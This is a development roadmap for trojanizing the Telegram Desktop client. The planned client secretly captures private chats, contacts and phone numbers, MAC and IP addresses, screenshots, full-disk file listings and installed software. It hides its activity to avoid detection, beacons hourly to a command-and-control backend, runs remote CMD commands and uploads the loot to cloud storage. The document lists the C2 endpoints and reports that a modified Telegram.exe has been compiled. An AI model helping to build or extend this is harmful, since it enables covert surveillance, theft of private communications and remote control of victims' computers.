This document outlines the development roadmap for modifying the Telegram Desktop client to include data collection, system reconnaissance, and remote control capabilities, integrated with a custom backend.
The goal is to transform the Telegram client into a managed endpoint that collects specific user data and executes remote commands while maintaining stealth and system stability.
- Message Interception: Capture chat messages (text and images).
- Filter: Exclude public channels and public groups (save only private chats and private groups).
- Storage: Save data to a local SQLite database (encrypted/hidden).
- Contact Extraction:
- Capture all contacts associated with the logged-in account.
- Fields: Telegram ID, Username, Phone Number (if available), Contact's Phone Number (if available).
- Basic Info: Capture Device MAC address and IP address.
- Screenshot: Capture a screenshot of the current desktop.
- File System Scan:
- Scan all drive letters (C:/, D:/, etc.).
- List all files and calculate their MD5 hash.
- Performance Constraint: Operations do not strictly require system idle time but must execute with low thread priority and minimal network bandwidth usage to avoid detection and ensure system responsiveness.
- Software Enumeration: List all installed software on the machine.
- Trigger Logic:
- Time-based: Upload at least once every 24 hours.
- Volume-based: Upload when data accumulates to a certain size.
- Safety Check: Monitor disk space. If free space < 10GB, trigger upload/cleanup when cache reaches 5GB to prevent disk saturation.
- Transmission:
- Upload collected data to the backend (COS - Cloud Object Storage).
- Constraint: Low bandwidth usage, background execution.
- Heartbeat: Connect to the backend server once every hour.
- Tasking Engine:
- Receive commands during heartbeat.
- Capabilities:
- Execute simple CMD commands.
- Periodic Screenshot: Set a task (e.g., "Screenshot every 1 minute") which runs locally until the next heartbeat updates the instruction.
- Architecture: Based on
springboot-init-master(Java). - Storage: Integrate with COS (Tencent Cloud Object Storage or compatible) for binary data (images, logs).
- Data Parsing:
- Backend must parse the uploaded data bundles.
- Store structured data:
- Accounts (TG ID, Phone).
- Contacts per Account.
- Chat History (Text linked to Sender/Receiver).
- Device Info (MAC, IP, Installed Software, File Lists).
- UI/Logic:
- Ensure strict separation of data: Clicking a contact shows only chat history relevant to that specific contact/session.
Before implementing features, the build environment was stabilized to ensure successful compilation of the original Telegram Desktop.
- Fixed Dependency URLs:
- Problem:
prepare.pyfailed to clonebreakpad,stackwalk,linux-syscall-supportdue to inaccessiblechromium.googlesource.comURLs. - Fix: Replaced all instances with valid GitHub mirrors (e.g.,
https://github.com/google/breakpad).
- Problem:
- Fixed Build Scripts (Path Issues):
- Problem: Batch scripts (
setup_and_build.bat,configure_and_build.bat) failed after being moved totdesktop/due to incorrect relative paths. - Fix: Updated
cdcommands and log file references to work correctly within thetdesktop/root.
- Problem: Batch scripts (
- Fixed CMake Configuration:
- Problem:
configure.pyfailed withCMake Error: No platform specified for -A. - Fix: Corrected the CMake invocation arguments in
configure_and_build.bat(removed-Awhere inappropriate for the generator).
- Problem:
- Git Repository Structure:
- Problem:
tdesktopcontained an embedded.gitdirectory, preventing clean version control of the parent project. - Fix: Removed the embedded
.gitfolder, initialized a root repo, and configured.gitignoreto exclude build artifacts (out/,Libraries/,ThirdParty/).
- Problem:
- Compilation Verification:
- Status: Successfully compiled
Telegram.exe(Release mode). - Output:
tdesktop/out/Release/Telegram.exe(approx. 197MB).
- Status: Successfully compiled
- Path:
platform/frontend/yupi-antd-frontend-init-master - Start Command:
npm run start - Address:
http://localhost:8000 - Note: Requires Node.js 18+ and pnpm/npm.
- Path:
platform/backend/springboot-init-master - Start Command: Run
MainApplication.javain IDEA ormvn spring-boot:run. - Address:
http://localhost:8101 - Database: H2 In-Memory Database (
jdbc:h2:mem:testdb).- Note: Data is lost on backend restart.
- Account:
- No default admin account is pre-seeded.
- Please Register a new account via the Frontend (
/user/register). - Default password logic in code (for created users via API):
12345678.
- Path:
tdesktop - Build: Use
tdesktop/compile_client.bat(Visual Studio 2022 required). - Functionality:
- Sends heartbeat to
http://localhost:8101/api/heartbeat. - Fetches tasks from
http://localhost:8101/api/c2/tasks/pending. - Uploads results (CMD output, screenshots) to
http://localhost:8101/api/c2/tasks/result.
- Sends heartbeat to
- Unzip and analyze the
platformbackend code. - Design the SQLite schema for the client.
- Implement the Message Hook in
tdesktopsource code.
Note: This document will be updated automatically as tasks are completed.